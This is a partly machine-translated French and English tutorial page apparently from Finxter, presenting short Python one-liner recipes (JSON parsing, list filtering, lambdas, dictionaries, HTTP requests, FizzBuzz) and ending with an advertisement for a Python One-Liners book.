Exemple  :Disons que vous avez extrait un objet JSON d'un serveur en utilisant le curl commande :

curl -s http://example.com | python -mjson.tool
{
    "continent_code": "EU",
    "country": "Netherlands",
    "country_code": "NL",
    ...
    "timezone": "Europe/Amsterdam"
}

Source

Comment analyser l'objet JSON résultant et extraire, par exemple, la valeur "Netherlands" associé au "country" clé ?

Solution  :Le one-liner suivant accomplit cela :

curl -s http://example.com | python -c 'import sys, json; print(json.load(sys.stdin)["country"])'

Vous pouvez trouver une explication détaillée, étape par étape, de ce one-liner dans l'article suivant.

Article connexe :Comment Parser JSON dans un Python One-Liner ?

Python une ligne jolie impression JSON

Problème :Étant donné un objet JSON. Comment l'imprimer joliment depuis le shell/terminal/ligne de commande en utilisant une ligne Python ?

Exemple minimal :Vous avez fourni l'objet JSON suivant :

{"Alice": "24", "Bob": "28"}

Et vous souhaitez obtenir la sortie d'impression suivante :

{
    "Alice": "24",
    "Bob": "28"
}

Comment y parvenir en utilisant une ligne Python ?

La manière par défaut d'accomplir cela dans un script Python est d'importer le json bibliothèque pour résoudre le problème :

import json
json_obj = {"Alice": "24", "Bob": "28"}
print(json.dumps(json_obj, sort_keys=True, indent=4))

Vous pouvez apprendre tout ce qu'il y a à savoir sur la jolie impression d'objets JSON à partir de votre ligne de commande dans ce didacticiel :

Article connexe :Jolie impression JSON [Python One-Liner]

Filtre Python One Line Array

Comment pouvez-vous filtrer un tableau en Python en utilisant une condition arbitraire ?

La façon la plus Pythonic de filtrer un tableau est la déclaration de compréhension de liste [x for x in list if condition] . Vous pouvez remplacer condition avec n'importe quelle fonction de x vous souhaitez utiliser comme critère de filtrage.

Par exemple, si vous souhaitez filtrer tous les éléments inférieurs à, disons, 10, vous utiliserez l'instruction de compréhension de liste [x for x in list if x<10] pour créer une nouvelle liste avec tous les éléments de liste inférieurs à 10.

Voici trois exemples de filtrage d'une liste :

  • Obtenir les éléments inférieurs à huit :[x for x in lst if x<8] .
  • Obtenir les éléments pairs :[x for x in lst if x%2==0] .
  • Obtenir des éléments impairs :[x for x in lst if x%2] .
lst = [8, 2, 6, 4, 3, 1]

# Filter all elements <8
small = [x for x in lst if x<8]
print(small)


# Filter all even elements
even = [x for x in lst if x%2==0]
print(even)

# Filter all odd elements
odd = [x for x in lst if x%2]
print(odd)

La sortie est :

# Elements <8
[2, 6, 4, 3, 1]

# Even Elements
[8, 2, 6, 4]

# Odd Elements
[3, 1]

C'est le moyen le plus efficace de filtrer un tableau et c'est aussi le plus Pythonique.

Article connexe :Comment filtrer une liste en Python ?

Ajout d'une ligne Python

Problème  :Comment pouvons-nous ajouter plusieurs éléments à une liste dans une boucle for mais en utilisant une seule ligne de code Python ?

Exemple :Supposons que vous souhaitiez filtrer une liste de mots par rapport à une autre liste et stocker les mots résultants dans une nouvelle liste à l'aide de la méthode append() dans une boucle for.

# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = []

for word in words:
    if word not in stop_words:
        filtered_words.append(word)

print(filtered_words)
# ['hi', 'hello', 'Python']

Vous créez d'abord une liste de mots à filtrer et à stocker dans une liste initialement vide filtered_words . Deuxièmement, vous créez un ensemble de mots vides contre lesquels vous souhaitez vérifier les mots de la liste. Notez qu'il est beaucoup plus efficace d'utiliser la structure de données d'ensemble pour cela, car la vérification de l'appartenance aux ensembles est beaucoup plus rapide que la vérification de l'appartenance aux listes. Consultez ce didacticiel pour un guide complet sur les ensembles Python.

Vous parcourez maintenant tous les éléments de la liste words et ajoutez-les au filtered_words list s'ils ne sont pas dans l'ensemble stop_words .

Solution  : vous pouvez aligner ce processus de filtrage à l'aide du code suivant :

filtered_words = [word for word in words if word not in stop_words]

La solution utilise la compréhension de liste pour, essentiellement, créer une boucle for sur une seule ligne.

Voici le code complet qui résout le problème en utilisant la méthode de filtrage à une ligne :

# FINXTER TUTORIAL:
# How to filter a list of words?

words = ['hi', 'hello', 'Python', 'a', 'the']
stop_words = {'a', 'the'}
filtered_words = [word for word in words if word not in stop_words]

print(filtered_words)
# ['hi', 'hello', 'Python']

Voici un petit tutoriel sur le filtrage au cas où vous auriez besoin de plus d'explications :

Articles connexes :

  • Comment filtrer une liste en Python ?
  • Ajout d'une ligne Python

Python une ligne et ou

Comment le booléen and et or opérateurs fonctionnent dans le contexte des one-liners Python ?

Vous connaissez peut-être l'utilisation standard des opérateurs logiques appliqués aux valeurs booléennes :

>>> True and False
False
>>> False or True
True

Mais il y a plus dans ces opérateurs que seuls les experts dans l'art d'écrire des one-liners Python concis connaissent.

Par exemple, l'utilisation suivante du or l'opérateur appliqué aux valeurs non booléennes est peu connu :

>>> 'hello' or 42
'hello'
>>> [] or 42
42

De même, l'utilisation suivante de l'opérateur and est souvent source de confusion chez les lecteurs de one-liners Python avancés :

>>> 'hello' and 42
42
>>> [] and 42
[]

Comment le and et or l'opérateur fonctionne-t-il lorsqu'il est appliqué à des opérandes non booléens ?

Pour comprendre ce qui se passe, il faut regarder les définitions des opérateurs booléens :

Opérateur Description
a or b Renvoie b si l'expression a évalue à False en utilisant la conversion booléenne implicite. Si l'expression a évalue à True , l'expression a est renvoyé.
a and b Renvoie b si l'expression a évalue à True en utilisant la conversion booléenne implicite. Si l'expression a évalue à False , l'expression a est renvoyé.

Étudiez attentivement ces explications ! La valeur de retour est du même type de données que les opérandes :ils ne renvoient une valeur booléenne que si les opérandes sont déjà booléens !

Cette optimisation est appelée court-circuit et c'est une pratique courante dans de nombreux langages de programmation. Par exemple, il n'est pas nécessaire d'évaluer le résultat du deuxième opérande d'une opération and si le premier opérande est évalué à False . L'ensemble de l'opération doit être évalué à False dans ce cas car le et logique ne renvoie que True si les deux opérandes sont True .

Python va encore plus loin en utilisant la propriété de conversion booléenne implicite. Chaque objet peut être implicitement converti en une valeur booléenne. C'est pourquoi vous voyez un code comme celui-ci :

l = []
if l:
    print('hi')
else:
    print('bye')
# bye

Vous passez une liste dans la condition if. Python convertit ensuite la liste en une valeur booléenne pour déterminer la branche à visiter ensuite. La liste vide est évaluée à False . Toutes les autres listes évaluent à True , so the result is bye .

Ensemble, le court-circuit et la conversion booléenne implicite permettent aux opérateurs logiques et et ou d'être appliqués à deux objets Python quelconques en tant qu'opérandes. La valeur de retour est toujours l'un des deux opérandes utilisant les règles de court-circuit décrites dans le tableau.

Python One Line Conditional Assignment

Problème :How to perform one-line if conditional assignments in Python?

Exemple :Say, you start with the following code.

x = 2
boo = True

You want to set the value of x to 42 if boo is True , and do nothing otherwise.

Let’s dive into the different ways to accomplish this in Python. We start with an overview:

x = 2
boo = True

# Method 1: Ternary Operator
x = 42 if boo else x
print(x)

# Method 2: Single-Line If Statement
if boo: x = 42
print(x)

# Method 3: Tuple Syntax Hack
x = (x, 42)[boo]
print(x)

Next, you’ll dive into each of those methods and boost your one-liner superpower!

Related Articles:

  • Python One Line Conditional Assignment
  • Python One Line Ternary
  • Python Ternary — Tuple Syntax Hack
  • If-Then-Else in One Line Python [Video + Interactive Code Shell]

Python One Line Swap

Problème :Given two variables a and b . Use a single line of Python code to swap the variables to assign the value of a to b and the value of b to a .

Exemple :Say, you have to integers a=21 and b=42 . You want to swap the variables so that a=42 and b=21 .

a = 21
b = 42
# SWAP MAGIC HERE
print(a, b)
# 42 21

How to swap to variables as a Python one-liner?

To swap two variables a and b, use the multiple assignment expression a, b = b, a that assigns the value of a to b and the value of b to a .

a = 21
b = 42

# Swap One-Liner
a, b = b, a

# Print the result to the shell
print(a, b)
# 42 21

Find a detailed explanation of this one-liner at our interactive code tutorial:

Related tutorial :How to Swap Two Variables in One Line Python?

Python One Line Sum

Problème :How to sum over all values in a given Python list?

a = [1, 2, 3]

You want to calculate the sum of all values in the list—using only a single line of Python code!

# RESULT: 6

Solution :Python’s built-in sum() function helps you to sum over all values in an iterable, such as a Python list. Here’s the minimal code example.

a = [1, 2, 3]

print(sum(a))
# 6

Comment ça marche? The syntax is sum(iterable, start=0) :

Argument Description
iterable Sum over all elements in the iterable . This can be a list, a tuple, a set, or any other data structure that allows you to iterate over the elements.
Exemple :sum([1, 2, 3]) returns 1+2+3=6 .
start (Optional.) The default start value is 0. If you define another start value, the sum of all values in the iterable will be added to this start value.
Exemple :sum([1, 2, 3], 9) returns 9+1+2+3=15 .

Please find more details in the complete tutorial about summing over all values in a list and a nested list:

Tutoriel associé :Python One Line Sum List

Python One Line Sort

To sort and return a Python list in a single line of code, use the sorted(list) method that returns a new list of sorted elements. It copies only the references to the original elements so the returned list is not a deep but a shallow copy.

Problème :Given a list of comparable objects such as integers or floats. Is there a way to sort the list and return the sorted list in a single line of Python code?

Exemple :Say, you’ve got the following list.

a = [4, 2, 1, 3]

You want to sort this list and return the result in a single line. If you use the list.sort() method, the return value is None :

print(a.sort())
# None

The return value of the list.sort() method is None , but many coders expect it to be the sorted list. So they’re surprised finding out that their variables contain the None type rather than a sorted list.

Here’s a quick overview of the methods to accomplish this:

a = [4, 2, 1, 3]


# Method 1: sorted()
print(sorted(a))


# Method 2: list.sort() + ternary
print(a if a.sort() else a)


# Method 3: semicolon
a.sort(); print(a)

Do you want to learn more about each of the methods? Check out my related tutorial:

Related tutorial :How to Sort and Return a Python List in One Line?

Python One Line Semicolon

Voici comment utiliser le point-virgule :

x = 'hi'; y = 'young'; z = 'friend'; print(x, y, z);

If you run this Python one-liner with semicolons, you’ll get the following output:

hi young friend

À première vue, cela ne ressemble même pas à du code Python ! C++ a des points-virgules. Java a des points-virgules. Mais Python est censé être un langage sans point-virgule, n'est-ce pas ?

La signification du point-virgule dans les langages de programmation tels que Java et C++ est de terminer l'instruction en cours . Dans ces langues, vous l'utiliserez après chaque ligne. Sans cela, l'interprète pense que le code n'est pas encore terminé et il commence à en chercher plus. Tout codeur Java ou C++ connaît les situations où une erreur s'est produite parce qu'il a oublié d'utiliser un point-virgule dans son code.

En Python, cependant, les points-virgules ont une signification légèrement différente. Ils vous permettent de créer des déclarations dites composées. The if construct est une instruction composée. The for loop est une instruction composée. And, a number of semicolon-separated Python statements are compound statements.

Article connexe :Python Semicolons:How They Work and Why Haters Tell You to Avoid Them

Python One Line Function Definition

A lambda function allows you to define a function in a single line. It starts with the keyword lambda , followed by a comma-separated list of zero or more arguments, followed by the colon and the return expression. For example, lambda x, y: x+y calculates the sum of the two argument values x+y in one line of Python code.

Problème :How to define a function in a single line of Python code?

Exemple :Say, you’ve got the following function in three lines. How to compress them into a single line of Python code?

def say_hi(*friends):
    for friend in friends:
        print('hi', friend)

friends = ['Alice', 'Bob', 'Ann']
say_hi(*friends)

The code defines a function say_hi that takes an iterable as input—the names of your friends—and prints 'hi x' for each element x in your iterable.

The output is:

'''
hi Alice
hi Bob
hi Ann
'''

Let’s dive into the different methods to accomplish this! First, here’s a quick overview to test the waters:

# Original code:
def say_hi(*friends):
    for friend in friends:
        print('hi', friend)

friends = ['Alice', 'Bob', 'Ann']
say_hi(*friends)


# Method 1: Lambda Function
hi = lambda lst: [print('hi', x) for x in lst]
hi(friends)


# Method 2: Function Definition
def hi(lst): [print('hi', x) for x in lst]
hi(friends)


# Method 3: exec()
exec("def hi(*lst):\n    for x in lst:\n        print('hi', x)\nhi(*friends)")

In the following article, you’ll learn about each method in greater detail!

Article connexe :Python One Line Function Definition

Python One Line Dictionary

Défi :Say, you want to have the list indices as keys and the list elements as values.

# Given a list:
a = ['Alice', 'Liz', 'Bob']

# One-Line Statement Creating a Dict:
d = dict(enumerate(a))

print(d)
# {0: 'Alice', 1: 'Liz', 2: 'Bob'}

The one-liner dict(enumerate(a)) first creates an iterable of (index, element) tuples from the list a using the enumerate fonction. The dict() constructor than transforms this iterable of tuples to (key, value) mappages. The index tuple value becomes the new key . The element tuple value becomes the new value .

Learn more about different one-liners in the context of dictionaries in this blog article:

Related Article: Python One Line Dictionary

Python One Line Dict Comprehension

Dictionary Comprehension is a concise and memory-efficient way to create and initialize dictionaries in one line of Python code. It consists of two parts:expression and context. The expression defines how to map keys to values. The context loops over an iterable using a single-line for loop and defines which (key,value) pairs to include in the new dictionary.

Related Article: Python Dictionary Comprehension

Python One Line Docstring

Per convention, you use one-line docstrings if the function, module, class, or method is obvious enough to warrant a short explanation—but nothing more. You can enclose the one-liner docstring within single quotes, double quotes, or even triple quotes. However, enclosing the one-liner docstring in a triple quote is the most Pythonic way.

For example, the following function can be easily understood. Therefore, a one-liner docstring is sufficient to describe its behavior:

def add(x, y):
    '''Add both arguments and returns their sum.'''
    return x + y


print(add.__doc__)
# Add both arguments and returns their sum.

Article connexe :Python One Line Docstring

Python One Line Download File

Résumé  :téléchargez un fichier sur le Web en procédant comme suit dans Python.

  • Import libary requests
  • Définir la chaîne d'URL
  • Obtenir les données du fichier à partir de l'URL
  • Stocker les données du fichier dans un objet fichier sur votre ordinateur

Voici comment procéder pour télécharger le favicon Facebook (source) :

# 1. Import libary
import requests

# 2. Define URL string
url = 'https://www.facebook.com/favicon.ico'

# 3. Get file data
data = requests.get(url, allow_redirects=True)

# 4. Store file data in file object
open('facebook.ico', 'wb').write(data.content)

Au début de notre lutte avec le web scraping, vous pourriez avoir des difficultés à télécharger des fichiers en utilisant Python. However, the following article provides you with several methods that you can use to download, for example, the cover of a book from the page.

Related Article: How to Download a File Over HTTPS in Python?

Python One Line For Loop Append

However, a much better option to append all elements in a given iterable to a given list is to use the list.extend() méthode :

# Method 3
friends = ['Ann', 'Alice']
new_friends = ['Bob', 'Liz']

# One-Liner:
friends.extend(new_friends)

# Results
print(friends)
# ['Ann', 'Alice', 'Bob', 'Liz']

The one-liner is much shorter and even faster. You can find a detailed speed comparison here.

Article connexe : Python One Line For Loop Append

Python One Line Generator

A generator function is a Pythonic way to create an iterable without explicitly storing it in memory. This reduces memory usage of your code without incurring any additional costs.

Problème :Can we write a one-line generator?

Here’s the code that accomplishes this:

print(sum(random.random() for i in range(1000)))

The code consists of the following parts:

  • The print() function prints the result of the expression to the shell.
  • The sum() function sums over all values in the following iterable.
  • The generator expression random.random() for i in range(1000) generates 1000 random numbers and feeds them into the outer sum() function without creating all of them at once.

This way, we still don’t store the whole list of 1000 numbers in memory but create them dynamically.

Related Article: Python One Line Generator

Python One-Line Password Generator

The following code creates a random password for you—using only a single line of Python code!

from random import choice; print(''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789%^*(-_=+)') for i in range(10)]))

Article connexe : Python One-Line Password Generator

Python One Line HTTP Get

This tutorial shows you how to perform simple HTTP get and post requests to an existing webserver!

Problème :Given the URL location of a webserver serving websites via HTTP. How to access the webserver’s response in a single line of Python code?

Exemple :Say, you want to accomplish the following:

url = 'https://google.com'
# ... Magic One-Liner Here...
print(result)
# ... Google HTML file:
'''
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="de"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title>...
'''

Here’s how you can do this:

# DOWNLOAD THE GOOGLE.COM LANDING PAGE:
import urllib.request as r; print(r.urlopen('https://google.com').read())

Let’s learn about the three most important methods to access a website in a single line of Python code—and how they work!

Python Global in One Line

To update a global variable in one line of Python, retrieve the global variable dictionary with the globals() function, and access the variable by passing the variable name as a string key such as globals()['variable'] . Then overwrite the global variable using the equal symbol, for example in globals()['variable'] = 42 to overwrite the variable with value 42 .

a = 42
def update_3():
    globals()['a'] = 21


update_3()
print(a)
# 21

The code first accesses all global variables using the globals() function that returns a dictionary mapping names to objects. You access the value associated to the key 'a' . The return value is the object to which global variable a points.

Article connexe : Python One Line Global

Python One Line FizzBuzz

The FizzBuzz problem is a common exercise posed in code interviews to test your proficiency in writing simple Python code.

Problème :Print all numbers from 1-100 to the shell with three exceptions:

  • For each number divisible by three you print "Fizz" ,
  • For each number divisible by five you print "Buzz" , and
  • For each number divisible by three and five you print "FizzBuzz" .

Exemple :The first 15 numbers of the FizzBuzz sequence are the following.

1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
...

How to write a Python one-liner that solves this problem?

Here’s an overview:

# FINXTER FIZZBUZZ PYTHON ONELINERS
n = 20

# FizzBuzz Method 1
print('\n'.join('Fizz' * (i%3==0) + 'Buzz' * (i%5==0) or str(i) for i in range(1, n)))

# FizzBuzz Method 2
for i in range(1, n): print('FizzBuzz'[i*i%3*4:8--i**4%5] or i)

Let’s dive into those one-liners to gain a deeper understanding of the matter!

Tutoriel associé :Python One Line FizzBuzz

Python One Line Hello World

Step 1: Open a code shell.

Step 2 :Type the print function in your browser shell with opening and closing parentheses that are initially empty:

print()

The print() function takes a string and prints it to your shell. This way, you can generate outputs in your program. Think about it:a Python program is only a means to an end. It transform an input to an output. One way of creating an output is to print program values to the shell. In our hello world one-liner, the output is the textual data (=string) 'hello world' .

Step 3 :Pass the 'hello world' string into the print() function between the parentheses.

print('hello world')

Congratulations, your first hello world one-liner is ready! Now, there’s only one thing left:

Step 4 :Run the hello world one-liner program by hitting the “Run” symbol ▶.

Can you see the output generated by your program? When running your program in the interactive shell, the result should be the following output:

hello world

Article connexe :Hello World! A Python One-Liner to Get Started with Python Quickly

Python One Line Comment

One-line comments begin with the hash (# ) character and reach to the end of the line. The newline character terminates the meaning of the comment—which is for the Python interpreter to ignore the commented text. A special case are inline comments that are used after a regular Python statement but before the newline character. The PEP 8 standard recommends to use them sparingly.

# This is a one-line comment

print('hi') # This is an inline comment

Article connexe :Python Comments — 2-Minute Guide with Exercise

Python One Line Class

Problème :How to create a Python class in a single line of code?

Exemple :Say, you want to create a class Car with two attributes speed and color . Here would be the lengthy definition:

class Car:

    def __init__(self, speed, color):
        self.speed = speed
        self.color = color


porsche = Car(200, 'red')
tesla = Car(220, 'silver')

print(porsche.color)
# red

print(tesla.color)
# silver

How do you do this in a single line of code?

Autres lectures : Python One Line Class

Python Define Multiple Variables in One Line

In this article, you’ll learn about two variants of this problem.

  • Assign multiple values to multiple variables
  • Assign the same value to multiple variables

Let’s have a quick overview of both:

# MULTIPLE ASSIGNMENT
a, b = 1, 2
print(a)
print(b) 


# MULTIPLE SAME VALUE 
a = b = 1
print(a) 
print(b)

Article connexe :Python Define Multiple Variables in One Line

Python One Line If (Not) None

Problème :How to assign a value to a variable if it is not equal to None —using only a single line of Python code?

Solution :A beautiful extension of Python 3.8 is the Walrus operator. The Walrus operator := is an assignment operator with return value. Thus, it allows you to check a condition and assign a value at the same time:

# Method 2
if tmp := get_value(): x = tmp

This is a very clean, readable, and Pythonic way. Also, you don’t have the redundant identity assignment in case the if condition is not fulfilled.

Related Articles:

  • The Walrus Operator in Python 3.8
  • Python One-Line Assign If Not None

Python One Line Map

Consider the following map() one-liner that changes each element x of a list to the value of x+1 :

print(list(map(lambda x: x + 1, [1, 2, 3])))
# [2, 3, 4]

Vous créez une liste avec trois éléments. Ensuite, vous créez une fonction anonyme qui prend un argument (un entier dans notre cas) et l'incrémente de un. The map function applique la fonction à chaque élément de la liste et renvoie un nouvel objet map. This is converted back to a list using the list(...) fonction.

Related Article: Python One Line Map

Livre Python One-Liners :maîtrisez d'abord la ligne unique !

Les programmeurs Python amélioreront leurs compétences en informatique avec ces lignes utiles.

Python One-Liners vous apprendra à lire et à écrire des « lignes simples » :des déclarations concises de fonctionnalités utiles regroupées dans une seule ligne de code. Vous apprendrez à décompresser et à comprendre systématiquement n'importe quelle ligne de code Python, et à écrire du Python éloquent et puissamment compressé comme un expert.

Les cinq chapitres du livre couvrent (1) les trucs et astuces, (2) les expressions régulières, (3) l'apprentissage automatique, (4) les principaux sujets de science des données et (5) les algorithmes utiles.

Des explications détaillées des one-liners introduisent les concepts clés de l'informatique etdéveloppez vos compétences en matière de codage et d'analyse . Vous découvrirez les fonctionnalités Python avancées telles que la compréhension de liste , tranchage , fonctions lambda , expressions régulières , carte et réduire fonctions et affectations de tranches .

Vous apprendrez également à :

  • Exploiter les structures de données pour résoudre des problèmes réels , comme utiliser l'indexation booléenne pour trouver des villes avec une pollution supérieure à la moyenne
  • Utiliser les bases de NumPy comme tableau , forme , axe , tapez , diffusion , indexation avancée , tranchage , tri , recherche , agrégation , et statistiques
  • Calculer des statistiques de base de tableaux de données multidimensionnels et les algorithmes K-Means pour l'apprentissage non supervisé
  • Créer davantage d'expressions régulières avancées en utilisant le regroupement et groupes nommés , anticipations négatives , caractères échappés , espaces blancs, jeux de caractères (et jeux de caractères négatifs ) et opérateurs gourmands/non gourmands
  • Comprendre un large éventail de sujets informatiques , y compris les anagrammes , palindromes , surensembles , permutations , factorielles , nombres premiers , Fibonacci chiffres, obscurcissement , recherche , et tri algorithmique

À la fin du livre, vous saurez comment écrire Python dans sa forme la plus raffinée , et créez de belles pièces concises d'"art Python" en une seule ligne.

Obtenez vos Python One-Liners sur Amazon !!